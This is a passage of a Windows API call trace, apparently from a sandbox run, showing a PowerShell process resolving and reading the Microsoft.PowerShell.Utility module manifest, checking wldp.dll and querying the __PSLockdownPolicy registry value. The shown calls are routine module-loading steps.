lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0145.451] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate", nBufferLength=0x41, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate", lpFilePart=0x0) returned 0x40 [0145.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.451] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsupdate"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca6b8d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb286c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e220) returned 1 [0145.452] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0145.452] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0145.452] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x250580df40 | out: lpFindFileData=0x250580df40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc21280f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cbf2982cd0 [0145.452] FindNextFileW (in: hFindFile=0x1cbf2982cd0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc21280f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.452] FindNextFileW (in: hFindFile=0x1cbf2982cd0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0145.452] FindNextFileW (in: hFindFile=0x1cbf2982cd0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0145.453] FindNextFileW (in: hFindFile=0x1cbf2982cd0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0145.453] FindClose (in: hFindFile=0x1cbf2982cd0 | out: hFindFile=0x1cbf2982cd0) returned 1 [0145.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e160) returned 1 [0145.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e120) returned 1 [0145.453] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0145.453] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0145.453] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0145.453] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0145.454] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0145.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e240) returned 1 [0145.454] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1cbdab304d8 | out: lpFileInformation=0x1cbdab304d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983)) returned 1 [0145.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e200) returned 1 [0145.459] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0145.459] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0145.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e060) returned 1 [0145.460] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c0 [0145.460] GetFileType (hFile=0x3c0) returned 0x1 [0145.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580dfd0) returned 1 [0145.460] GetFileType (hFile=0x3c0) returned 0x1 [0145.589] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580e028*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580e028*=0) returned 0x0 [0145.589] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdab31b60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580e0a8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab31b60*, lpNumberOfBytesRead=0x250580e0a8*=0x983, lpOverlapped=0x0) returned 1 [0145.591] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580e028*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580e028*=0) returned 0x983 [0145.591] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdab3104b, nNumberOfBytesToRead=0x27d, lpNumberOfBytesRead=0x250580e0a8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab3104b*, lpNumberOfBytesRead=0x250580e0a8*=0x0, lpOverlapped=0x0) returned 1 [0145.591] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580e028*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580e028*=0) returned 0x983 [0145.591] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdab31b60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580e0a8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdab31b60*, lpNumberOfBytesRead=0x250580e0a8*=0x0, lpOverlapped=0x0) returned 1 [0145.592] CloseHandle (hObject=0x3c0) returned 1 [0145.769] CoCreateGuid (in: pguid=0x250580e2c8 | out: pguid=0x250580e2c8*(Data1=0xecc5b122, Data2=0x8170, Data3=0x4546, Data4=([0]=0x89, [1]=0xfe, [2]=0xd0, [3]=0x76, [4]=0x96, [5]=0xde, [6]=0xc9, [7]=0x0))) returned 0x0 [0145.800] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3c0 [0145.800] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x75c [0145.800] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x760 [0145.872] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x764 [0145.872] SetEvent (hEvent=0x764) returned 1 [0145.872] SetEvent (hEvent=0x3c0) returned 1 [0145.872] SetEvent (hEvent=0x75c) returned 1 [0145.872] SetEvent (hEvent=0x760) returned 1 [0145.876] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x768 [0145.877] SetThreadUILanguage (LangId=0x0) returned 0x409 [0146.659] EtwEventActivityIdControl () returned 0x0 [0146.659] EtwEventActivityIdControl () returned 0x0 [0146.659] EtwEventActivityIdControl () returned 0x0 [0146.768] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0146.769] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0146.769] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0146.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580da80) returned 1 [0146.769] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580db60 | out: lpFileInformation=0x250580db60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983)) returned 1 [0146.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580da40) returned 1 [0146.869] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0147.935] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0147.935] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0147.936] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf29e59e0 [0147.936] GetSystemDirectoryW (in: lpBuffer=0x1cbf29e59e0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0147.936] CoTaskMemFree (pv=0x1cbf29e59e0) [0147.936] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0147.936] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0147.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580d660) returned 1 [0147.936] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x250580d740 | out: lpFileInformation=0x250580d740*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5450597b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5450597b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5450597b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x112d0)) returned 1 [0147.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580d620) returned 1 [0147.936] GetSystemInfo (in: lpSystemInfo=0x250580d7b0 | out: lpSystemInfo=0x250580d7b0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0147.937] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580d6b8 | out: phkResult=0x250580d6b8*=0x770) returned 0x0 [0147.937] RegQueryValueExW (in: hKey=0x770, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x250580d708, lpData=0x0, lpcbData=0x250580d700*=0x0 | out: lpType=0x250580d708*=0x0, lpData=0x0, lpcbData=0x250580d700*=0x0) returned 0x2 [0147.937] RegCloseKey (hKey=0x770) returned 0x0 [0147.949] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0147.949] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0147.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580d610) returned 1 [0147.949] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x770 [0147.949] GetFileType (hFile=0x770) returned 0x1 [0147.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580d580) returned 1 [0147.949] GetFileType (hFile=0x770) returned 0x1 [0147.950] SetFilePointer (in: hFile=0x770, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580d5d8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580d5d8*=0) returned 0x0 [0147.950] ReadFile (in: hFile=0x770, lpBuffer=0x1cbdaa73fc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d658, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaa73fc0*, lpNumberOfBytesRead=0x250580d658*=0x983, lpOverlapped=0x0) returned 1 [0147.950] SetFilePointer (in: hFile=0x770, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580d5d8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580d5d8*=0) returned 0x983 [0147.950] ReadFile (in: hFile=0x770, lpBuffer=0x1cbdaa734ab, nNumberOfBytesToRead=0x27d, lpNumberOfBytesRead=0x250580d658, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaa734ab*, lpNumberOfBytesRead=0x250580d658*=0x0, lpOverlapped=0x0) returned 1 [0147.950] SetFilePointer (in: hFile=0x770, lDistanceToMove=0, lpDistanceToMoveHigh=0x250580d5d8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x250580d5d8*=0) returned 0x983 [0147.950] ReadFile (in: hFile=0x770, lpBuffer=0x1cbdaa73fc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d658, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaa73fc0*, lpNumberOfBytesRead=0x250580d658*=0x0, lpOverlapped=0x0) returned 1 [0147.950] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf29e4b00 [0147.950] GetSystemDirectoryW (in: lpBuffer=0x1cbf29e4b00, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0147.951] CoTaskMemFree (pv=0x1cbf29e4b00) [0147.951] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0147.951] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0147.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580d560) returned 1 [0147.951] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x250580d640 | out: lpFileInformation=0x250580d640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5450597b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5450597b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5450597b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x112d0)) returned 1 [0147.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580d520) returned 1 [0147.951] GetSystemInfo (in: lpSystemInfo=0x250580d6b0 | out: lpSystemInfo=0x250580d6b0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0147.951] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580d5b8 | out: phkResult=0x250580d5b8*=0x774) returned 0x0 [0147.951] RegQueryValueExW (in: hKey=0x774, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x250580d608, lpData=0x0, lpcbData=0x250580d600*=0x0 | out: lpType=0x250580d608*=0x0, lpData=0x0, lpcbData=0x250580d600*=0x0) returned 0x2 [0147.951] RegCloseKey (hKey=0x774) returned 0x0 [0147.952] CloseHandle (hObject=0x770) returned 1 [0148.048] CoCreateGuid (in: pguid=0x250580d788 | out: pguid=0x250580d788*(Data1=0x99957e40, Data2=0xe8f8, Data3=0x4f8e, Data4=([0]=0x89, [1]=0x52, [2]=0xd8, [3]=0xdb, [4]=0x3c, [5]=0x88, [6]=0xae, [7]=0xb6))) returned 0x0 [0148.063] QueryPerformanceCounter (in: lpPerformanceCount=0x250580d1f8 | out: lpPerformanceCount=0x250580d1f8*=24517359959) returned 1 [0148.064] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0148.064] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0148.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580d070) returned 1 [0148.064] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580d150 | out: lpFileInformation=0x250580d150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983)) returned 1 [0148.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580d030) returned 1 [0148.064] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0148.064] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0148.064] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0148.064] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0148.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580cf50) returned 1 [0148.064] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: 